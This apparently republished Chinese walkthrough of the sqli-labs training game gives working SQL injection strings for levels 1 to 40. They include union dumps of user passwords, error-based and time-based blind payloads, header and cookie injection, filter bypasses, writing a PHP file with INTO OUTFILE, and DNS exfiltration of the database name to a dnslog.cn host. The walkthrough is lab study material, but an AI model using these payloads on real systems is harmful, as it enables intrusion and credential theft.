SQL注入篇

您所在的位置:网站首页 详解sql基础语法实验报告 SQL注入篇

SQL注入篇

2023-09-25 07:42| 来源: 网络整理| 查看: 265

sqli-labs是训练SQL注入的一款闯关游戏,分四页,共75关,不过我还没通关。

☝☝☝☝☝☝☝有疑问欢迎写信哦

sqli-­labs闯关游戏页面

如果你的电脑无法像下面这样正常显示可以参照文章https://admin-root.blog.csdn.net/article/details/103597999 在这里插入图片描述

☛点我一键到底☚ sql注入基本语句: order by 4 -- - 判断有多少列 union select 1,2,3 -- - 判断数据显示点 union select 1,user(),database()­­ -- - ­显示出登录用户和数据库名 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- - 查看数据库有哪些表 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- - 查看对应表有哪些列 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- - 查看账号密码信息 Page-1(Basic Challenges)基本挑战 less1-22 less-1——基于单引号的字符型注入

注入语句:

id=1' and 1=1 -- - 1、判断注入点

在这里插入图片描述

2、把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入

在这里插入图片描述

3、确定注入字符后,判断有多少列, 超出列数会报错 id=1' order by 4 -- -

在这里插入图片描述

4、判断数据显示点 (id一定要改为0或负数) id=0' union select 1,2,3 -- -

在这里插入图片描述

5、然后便可在注入字符后加入前面的sql注入基本语句 less-2——布尔型注入

注入语句:

id=1 and 1=1 -- -

方法同上。

less-3——基于’)的字符型注入

注入语句:

id=1') and 1=1 -- -

方法同上。

less-4——基于")字符型注入

注入语句:

id=1") and 1=1 -- -­

方法同上。

less-5——基于’字符型的错误回显注入

注入语句:

id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

效果如图: 在这里插入图片描述

less-6——基于"字符型的错误回显注入

注入语句:

id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

效果如图: 在这里插入图片描述

less-7——文件读写注入

注入语句:

1')) union select 1,'',3 into outfile 'D://1.php' -- -

效果如图: 在这里插入图片描述 查看D:盘下是否出现1.php文件 在这里插入图片描述

less-8——基于’的盲注(利用dns回显)

注入语句:

id=1' and load_file(concat("\\\\",(database()),".2bmfvu.dnslog.cn\\1.txt")) -- - 1、点击此处获取dns地址

在这里插入图片描述

2、将地址复制填入SQL语句中执行 3、在DNSLog.cn网站会看到回显结果为security效果如图:

在这里插入图片描述

less-9——基于’的时间盲注

注入语句:

id=1' and if(length(database())>3 ,sleep(5),1) -- -

因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。效果如图:在这里插入图片描述 如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。效果如图: 在这里插入图片描述

less-10——基于"的时间盲注

注入语句:

id=1" and if(length(database())>7 ,sleep(5),1) -- -

方法与第九关相同,将’改成"即可。

less-11——基于’的POST型注入

注入语句:

admin' and 1=1 -- -

这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入 在这里插入图片描述

less-12——基于")的POST型注入

注入语句:

admin") and 1=1 -- -

方法同上。

less-13——基于’)的错误回显注入

注入语句:

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

效果如图: 在这里插入图片描述

less-14——基于"的错误回显注入

注入语句:

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

方法同上。

less-15——基于’的POST型注入(利用dns回显)

注入语句:

admin' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) -- -

效果如图: 在这里插入图片描述

less-16——基于’的POST型注入(利用dns回显)

注入语句:

admin") and 1=1 -- -

方法同上。

less-17——基于’的密码报错注入

注入语句:

' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

从密码入手输入注入语句进行报错注入,效果如图: 在这里插入图片描述

less-18——基于’的User-Agent:报头文报错注入

注入语句:

',1,updatexml(1,concat(0x7e, database(),0x7e),1))# 1、先用Burp Suite抓取输入正确用户密码的登录页面 2、然后在报头文User-Agent:后加入注入语句即可,效果如图:

在这里插入图片描述

less-19——基于’的Referer:报头文报错注入

注入语句:

',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

方法同上,只需把报头文改成Referer:即可。

less-20——基于’的Cookie:报头文报错注入

注入语句:

uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;

方法同上,只需把报头文改成Cookie:即可。 在这里插入图片描述

Page-2(Advanced Injections)高级注入 less21-38 less-21——基于’)字符型的Cookie注入

一、首先正常登陆进入以下页面 在这里插入图片描述 二、使用Burp Suite抓包当前页面。 在这里插入图片描述 三、转入Repeater模块将选中部分Ctrl+B进行Base64编码 注入语句:

') union select 1,2,3# 编码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=

在这里插入图片描述 四、能够正常显示,接下来相信你知道该怎么做了 在这里插入图片描述

less-22——基于"字符型的Cookie注入

注入语句:

uname=" union select 1,2,3# ;

操作步骤同上 在这里插入图片描述

less-23——过滤注释的GET型注入

注入语句:

id=-1' union select 1,2,3 ='1

在这里插入图片描述

less-24——二次注入

假设知道有admin用户但是不知道密码 在这里插入图片描述 首先点击New User click here? 注册admin’ – -用户 在这里插入图片描述 然后登录该用户修改密码 在这里插入图片描述 在这里插入图片描述 然后再使用admin输入刚才admin’ – -修改的密码 在这里插入图片描述 登录成功,此时两个账号的密码一样

less-25——过滤or和and的单引号注入

注入语句:

id=-1' union select 1,2,3--

在这里插入图片描述

less-25a——过滤or和and的注入

注入语句:

id=-1 union select 1,2,3--

在这里插入图片描述

less-26——基于’过滤注释和空格的注入

注入语句:

id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1

在这里插入图片描述

less-26a——基于’)过滤注释和空格的盲注

这里不会报错,只是多加了一个括号。

less-27——基于’过滤union、select与注释和空格的注入

注入语句:

id=1'and(updatexml(1,'~aaaa',1))and'1'='1

在这里插入图片描述

less-27a——基于"过滤union和select 的盲注

单引号换成双引号,方法同上。

less-28——基于’)过滤union和select等的注入

注入语句:

网址栏url转码后 id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273 url 转码前 id=111') UnIon All Select ('1'),2,('3

在这里插入图片描述

less-28a——基于’)过滤union、select和空格的盲注

注入语句:

网址栏url后 http://localhost/sqli-labs-master/Less-28a/?id=-1%27)%0AUnIon%0AAll%0ASelect%0A1,2,3%0A--%20- url转码前 id=-1') UnIon All Select 1,2,3 -- -

在这里插入图片描述

less-29 index.php——基于单引号字符型的注入

注入语句:

id=-1' union select 1,2,3 -- -

在这里插入图片描述

less-29 隐藏关login.php——基于单引号的参数污染绕过

注入语句:

id=1&id=-1' union select 1,2,3 -- -

在这里插入图片描述

less-30 index.php——基于双引号字符型的注入

注入语句:

id=-1" union select 1,2,3 -- -

在这里插入图片描述

less-30 隐藏关login.php——基于双引号的参数污染绕过

注入语句:

id=1&id=-1" union select 1,2,3 -- -

在这里插入图片描述

less-31——基于")字符型的注入

注入语句:

id=-1") union select 1,2,3 -- -

在这里插入图片描述

less-31 隐藏关login.php——基于")的参数污染绕过

注入语句:

id=1&id=-1") union select 1,2,3 -- -

在这里插入图片描述

less-32——宽字节注入

注入语句:

id=-1%df' union select 1,2,3 -- -

在这里插入图片描述

less-33——get方式宽字节注入

在网址栏输入注入语句:

id=-1%df%27%20union%20select%201,2,3%20--%20-

在这里插入图片描述

less-34——post方式宽字节注入

注入语句:

Dumb�' union select 1,2,3 --

在这里插入图片描述

less-35——数值型注入

注入语句:

id=-1 union select 1,2,3

在这里插入图片描述

less-36——宽字节注入

注入语句:

id=-1�' union select 1,2,3 -- -

在这里插入图片描述

less-37——宽字节post注入

注入语句:

id=-1�' union select 1,2,3 -- - id=-1�' union select 1,2,3 -- -

在这里插入图片描述

Page-3 (Stacked Injections)堆叠注入 less38-53 less-38——基于字符串的堆叠注入

注入语句:

id=1;CREATE DATABASE sq default charset utf8; -- -

查询id为1的用户名密码,同时创建名为sq的数据库。 在这里插入图片描述 数据库创建成功,说明两条语句都执行了。 在这里插入图片描述

less-39——堆叠注入

注入语句:

id=1;CREATE DATABASE sq default charset utf8; -- -

在这里插入图片描述

less-40——堆叠盲注

在这里插入图片描述

Page-4 (Challenges)挑战 less54-75


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3